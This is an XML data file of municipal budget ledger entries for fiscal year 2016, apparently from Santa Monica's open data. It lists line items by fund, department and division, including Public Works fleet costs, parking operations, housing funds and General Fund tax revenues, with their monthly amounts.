<row _id="21776"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>55332</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55332</total></row>
<row _id="21777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533123.0</object><object_description>CITY YARDS CNG STN MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15450</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15450</total></row>
<row _id="21778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533124.0</object><object_description>CITY YARDS CONV FUEL STN MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5150</total></row>
<row _id="21779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="21780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>31332</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31332</total></row>
<row _id="21782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14694</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14694</total></row>
<row _id="21783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>720</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>720</total></row>
<row _id="21784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>332</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>332</total></row>
<row _id="21785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35000</total></row>
<row _id="21786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408120.0</object><object_description>LA MARATHON</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-165000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-165000</total></row>
<row _id="21787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-550000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-550000</total></row>
<row _id="21788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555700.0</object><object_description>REGULATORY AGENCY FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8000</total></row>
<row _id="21789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563160.0</object><object_description>WISE FTA GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40103</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40103</total></row>
<row _id="21790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMB-MISC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="21791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>400774.0</object><object_description>1630 17TH ST SUBLEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-116155</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-116155</total></row>
<row _id="21792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407800.0</object><object_description>CIVIC CENTER PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-1885000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1885000</total></row>
<row _id="21793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522530.0</object><object_description>PARKING OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="21794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="21795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544870.0</object><object_description>PARKING CITATION COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500000</total></row>
<row _id="21796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555990.0</object><object_description>PARKING AGREEMENT W / MACERICH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1857500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1857500</total></row>
<row _id="21797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12750</total></row>
<row _id="21798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577503.0</object><object_description>TRANSFER TO FUND 01</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>247642</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>247642</total></row>
<row _id="21799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408660.0</object><object_description>INTERFUND SERVICES-BEACH FUND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-199825</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-199825</total></row>
<row _id="21800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400030.0</object><object_description>PROPERTY TAXES-CLRR-AIRCRAFT</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-326000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-326000</total></row>
<row _id="21801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400100.0</object><object_description>FRANCHISE TAX - UTILITIES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-998272</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-998272</total></row>
<row _id="21802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400190.0</object><object_description>BUSINESS LICENSE TAXES</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-30713599</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-30713599</total></row>
<row _id="21803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400350.0</object><object_description>STATUATORY PASS-THROUGHS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-2410176</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2410176</total></row>
<row _id="21804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400843.0</object><object_description>VLF SWAP</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-9614181</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9614181</total></row>
<row _id="21805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404660.0</object><object_description>LIBRARY BOND TAX OVERRIDE</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-1382450</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1382450</total></row>
<row _id="21806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405090.0</object><object_description>CITY YARDS LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-1433025</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1433025</total></row>
<row _id="21807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="21808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2280</total></row>
<row _id="21809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3000</total></row>
<row _id="21810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>111501</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>111501</total></row>
<row _id="21811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>504</total></row>
<row _id="21812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2662</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2662</total></row>
<row _id="21813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5023</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5023</total></row>
<row _id="21814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>450052</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>450052</total></row>
<row _id="21815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-OPEN SP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2671319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2671319</total></row>
<row _id="21817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>39724</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39724</total></row>
<row _id="21818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>178192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>178192</total></row>
<row _id="21819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>73859</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>73859</total></row>
<row _id="21820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>851</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>851</total></row>
<row _id="21821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26836</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26836</total></row>
<row _id="21822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="21823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1216</total></row>
<row _id="21824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>136388</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>136388</total></row>
